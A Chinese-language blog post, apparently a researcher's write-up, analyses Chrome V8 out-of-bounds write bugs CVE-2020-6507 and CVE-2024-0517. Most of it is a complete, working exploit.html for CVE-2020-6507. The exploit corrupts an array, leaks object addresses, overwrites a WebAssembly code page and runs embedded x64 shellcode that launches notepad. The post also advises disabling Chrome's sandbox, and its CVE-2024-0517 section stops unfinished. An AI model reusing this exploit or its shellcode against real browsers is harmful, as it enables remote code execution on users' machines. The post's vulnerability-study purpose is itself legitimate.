Google Chrome RCE漏洞 CVE-2020-6507 和 CVE-2024-0517的简单分析

本文深入研究了两个在 Google Chrome 的 V8 JavaScript 引擎中发现的漏洞，分别是 CVE-2020-6507 和 CVE-2024-0517。这两个漏洞都涉及 V8 引擎的堆损坏问题，允许远程代码执行。通过EXP HTML部分的内存操作、垃圾回收等流程方式实施利用攻击。

CVE-2020-6507 漏洞存在于 Google Chrome 版本 83.0.4103.106 及之前的版本中，它允许攻击者进行越界写入，从而导致堆损坏。攻击者可以通过构建特定的 HTML 页面触发该漏洞，利用该漏洞可能导致严重的安全问题。

另一方面，CVE-2024-0517 漏洞发现于 Google Chrome 版本 120.0.6099.224 之前的版本，同样存在 V8 引擎的堆损坏问题。攻击者可以通过巧妙设计的 HTML 页面潜在地实施攻击。这个漏洞的修复在 2024 年 1 月的 Chrome 更新中得以解决。

漏洞编号： CVE-2020-6507
漏洞描述： 83.0.4103.106 之前的 Google Chrome 中的 V8 越界写入允许远程攻击者通过精心设计的 HTML 页面潜在地利用堆损坏。

漏洞编号： CVE-2024-0517
漏洞描述： 120.0.6099.224 之前的 Google Chrome 中的 V8 越界写入允许远程攻击者通过精心设计的 HTML 页面潜在地利用堆损坏。

两个CVE的漏洞都是V8引起那么我们简单认识一下，这个V8到底是什么东西？
答：V8 是 Google 的开源高性能 JavaScript 和 WebAssembly 引擎，用 C++ 编写。它用于 Chrome 和 Node.js 这个V8涉及内容及其的多如果需要完全吸收是需要花时间的，这里我把【Chrome 浏览器利用，第 1 部分：V8 和 JavaScript 内部结构简介】文章的链接做了成超链接可以跳转到原文观看，也可以通过我简单引用文章部分知识点继续阅读下去！

这里待补充暂时没空

一、CVE-2020-6507 复现环境：

Win10 + Google Chrome 86.0.4240.75

二、CVE-2020-6507 利用复现：

关闭沙箱安全使用命令进行关闭 ，在正常情况下，浏览器沙箱提供了一个受限制的执行环境，以防止恶意代码对用户系统的损害。关闭沙箱可能会导致浏览器执行环境的变化，使其更容易受到攻击。这在某些情况下可能有助于进行特定类型的漏洞研究和安全测试。

“C:\Program Files\Google\Chrome\Application\chrome.exe” -no-sandbox
在这里插入图片描述

三、EXP核心分析：

// 漏洞利用的HTML代码
<script>
    // 触发垃圾回收以促使后续的内存布局
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }

    // Shellcode，实际上是一个汇编代码的字节序列
    let shellcode = [...];  // 替换为实际的 shellcode

    // WebAssembly 模块的字节码数据
    var wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);
    
    // 创建 WebAssembly 模块和实例
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;

    // ArrayBuffer 和 DataView 用于进行内存操作
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    
    // 获取浮点数的低32位
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }

    // 获取浮点数的高32位
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }

    // 合成一个双精度浮点数
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }

    // 将浮点数转换为大端序的64位无符号整数
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }

    // 将大端序的64位无符号整数转换为浮点数
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }

    // 定义一个 ArrayBuffer 的子类，用于进行内存操作
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }

    // 在调用 foo 之前进行多次操作，包括触发垃圾回收
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;

        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;
        let buff = new LeakArrayBuffer(0x1000);
        arr[0] = 0x1122;
        
        return [arr, local_arr, buff];
    }

    for (var i = 0; i < 0x10000; ++i)
        foo(false);

    gc(); gc();

    // 调用 foo，获取相关数组和内存对象
    [corrput_arr, rwarr, corrupt_buff] = foo(true);

    // 利用漏洞进行内存操作
    corrput_arr[12] = 0x22444;
    delete corrput_arr;

    // 对内存进行操作，获取相关信息
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }

    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }

    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;

    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }

    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);

    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));

    // 替换 shellcode 并执行
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    
    // 执行 WebAssembly 的入口函数
    main();
</script>

有一个小问题，我直接使用谷歌浏览器打开这个exp.html时是没有反应的包括默认开打浏览器都不行，需要在谷歌浏览器的地址上输入exp地址才可以执行。所以这个漏洞的一个行为是值得浅析一下的，下面是我的大概一个理解。
这里是通过直接输入EXP行为导致触发

  • 在浏览器中直接打开 HTML 文件时可能会受到一些安全策略的限制，而在地址栏中输入地址可能会绕过一些限制。这是因为在本地文件系统中直接打开
    HTML 文件与通过 HTTP 协议在浏览器中打开页面有一些不同。
  • 浏览器在直接打开本地文件时，可能会将该文件视为“本地”或“不安全”的上下文，并因此应用更严格的安全策略。这可能包括限制某些 JavaScript 功能或禁止执行某些类型的脚本。这是为了防止潜在的安全风险，因为本地文件可能会利用用户系统上的资源。
  • 通过在地址栏中输入地址，你实际上是通过 HTTP 协议从浏览器获取页面，而不是直接从文件系统中加载。在这种情况下，浏览器可能会将页面视为更“安全”的上下文，并放宽一些限制。
  • 这种行为可能是浏览器的一个特定实现，而不同的浏览器可能会有不同的行为。如果你的目标是在本地测试漏洞或脚本，最好的做法是将文件部署到本地服务器上，并通过HTTP协议在浏览器中打开。这样可以更好地模拟实际网络环境，同时减轻一些本地文件系统访问的限制，通过上面的一些描述可以很清楚认定这个行为。

其实在另外一种思路上，如果是直接可以打开直接执行命令，那么就可以绕过谷歌浏览器的这个机制限制，当然这个思路也可能是不存在或不能实现的一种。当然还有一个就是这个漏洞的沙箱逃逸，根据以往一些国外大佬进行逃逸并未成功！

EXP的核心步骤拆解分析

核心在于JavaScript代码是一个漏洞利用脚本，其核心部分在于实现了一系列操作，以触发浏览器漏洞并执行特定的shellcode，最终实现在浏览器中弹出记事本的效果。这篇文章里面我们可以接触到谷歌浏览器的垃圾回收也称为（WasmGC）https://developer.chrome.com/blog/wasmgc?hl=zh-cn#garbage_collection

让我们逐步分析这个脚本的核心要点：

  1. 内存操作：
  • 使用ArrayBuffer对象进行内存分配，其中gc函数用于触发垃圾回收，以促使后续的内存布局。

ArrayBuffer 是 JavaScript 中的对象，用于表示通用的、固定长度的原始二进制数据缓冲区。它在 JavaScript 中的主要作用是提供一种机制，使得 JavaScript 能够直接操作二进制数据而无需通过字符串。

EXP代码中，ArrayBuffer 主要用于进行内存操作，通过创建 ArrayBuffer 实例并使用 DataView 来对其中的二进制数据进行读写。这些操作是为了进行浮点数和整数之间的转换，以及实现对内存的底层控制，从而进行漏洞利用。

  • 定义了一系列与内存操作相关的函数，如fLow、fHi、i2f、f2big、big2f等，用于处理浮点数和整数之间的转换。

对浮点数和整数之间的转换通常是为了绕过一些数值的限制、操作系统的保护机制，或者触发特定的漏洞。这里简要说明这些函数的作用：
fLow(f): 将浮点数 f 的低 32 位提取出来。在这里可能用于获取浮点数的底层二进制表示的一部分。
fHi(f): 将浮点数 f 的高 32 位提取出来。同样，用于获取浮点数的底层二进制表示的一部分。
i2f(low, hi): 将两个整数 low 和 hi 合成一个双精度浮点数。这个操作可能用于将提取出的浮点数的低 32 位和高 32 位重新组合成一个浮点数。
f2big(f): 将浮点数 f 转换为一个大端序的 64 位无符号整数。这可能用于将浮点数的二进制表示直接当做整数进行处理。
big2f(b): 将大端序的 64 位无符号整数 b 转换为浮点数。这可能用于将整数的二进制表示直接当做浮点数进行处理。

<script>
    // 触发垃圾回收，促使后续的内存布局
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    
    // ... (其他代码)
    
    // 创建一个包含8字节的ArrayBuffer对象
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);

    // 以下是一系列处理浮点数和整数之间转换的函数
    // fLow: 获取浮点数的低32位
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }

    // fHi: 获取浮点数的高32位
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }

    // i2f: 将低32位和高32位整数转换成浮点数
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }

    // f2big: 将浮点数转换成大端格式的64位整数
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }

    // big2f: 将大端格式的64位整数转换成浮点数
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
</script>
  • gc 函数通过循环创建了大量的 ArrayBuffer 对象，以触发垃圾回收。
  • 接着定义了一系列与内存操作相关的函数，如fLow、fHi、i2f、f2big、big2f 等，这些函数用于处理浮点数和整数之间的转换。
  1. WebAssembly 操作：

知识点认识：WebAssembly（Wasm）是一种用于在浏览器中运行高性能代码的二进制指令集。在谷歌浏览器中，WebAssembly 模块可以通过与 JavaScript 代码进行交互，这个漏洞又与谷歌浏览器的 V8 JavaScript 引擎有关

  • 定义了一个包含 WebAssembly 字节码的 Uint8Array 对象，并创建了 WebAssembly 模块和实例。
  • main 函数是 WebAssembly 模块的入口点。
<script>
    // ... (其他代码)

    // 定义一个包含 WebAssembly 模块字节码数据的 Uint8Array
    var wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);

    // 创建一个 WebAssembly 模块
    var wasmModule = new WebAssembly.Module(wasmCode);

    // 创建一个 WebAssembly 实例
    var wasmInstance = new WebAssembly.Instance(wasmModule);

    // 获取 WebAssembly 模块的导出函数 main
    var main = wasmInstance.exports.main;

    // ... (其他代码)
</script>
  • wasmCode 定义了一个 Uint8Array，其中包含了 WebAssembly 模块的字节码数据。
  • 通过
  • WebAssembly.Module 创建了一个 WebAssembly 模块。
  • 通过 WebAssembly.Instance创建了一个 WebAssembly 实例，并将其中的 main 函数赋值给了变量 main。
    这部分代码涉及到 WebAssembly的加载和执行，其中 main 函数的调用触发了对应 WebAssembly 模块中的代码执行。
  1. 漏洞触发：
  • 利用特定的操作和计算，触发了浏览器漏洞，包括操作Array和ArrayBuffer等对象。
  1. Shellcode 注入：
  • 定义了一个名为 shellcode 的数组，其中包含一段特定的二进制代码。这段代码是汇编代码，用于执行特定的操作，这里是弹出记事本。
  1. 内存布局操作：
  • 通过一系列的内存操作，计算出一些关键地址，包括 baseAddr、wasmInsAddr 和 code_entry。
  • setbackingStore 函数用于修改内存中的值，实现对关键地址的设置。
  1. 最终执行：
  • 在整个过程的最后，通过调用 main 函数，触发了 WebAssembly 模块的执行，并在其中执行了之前注入的 shellcode。

这里是完整的一个EXP，弹出记事本！

// exploit.html
<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
        0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
        0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
        0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
        0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
        0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
        0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
        0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
        0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
        0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
        0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
        0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>

四、Google Chrome V8 CVE-2024-0517 越界写入代码执行

漏洞介绍：该漏洞源于 V8 的 Maglev 编译器尝试编译具有父类的类的方式。在这种情况下，编译器必须查找所有父类及其构造函数，并且在执行此操作时会引入漏洞。1月份通报的漏洞预警中与上面的2021年Google Chrome RCE漏洞区别较大，CVE-2024-0517是 … …这里明天再写我直接发稿先…晚了

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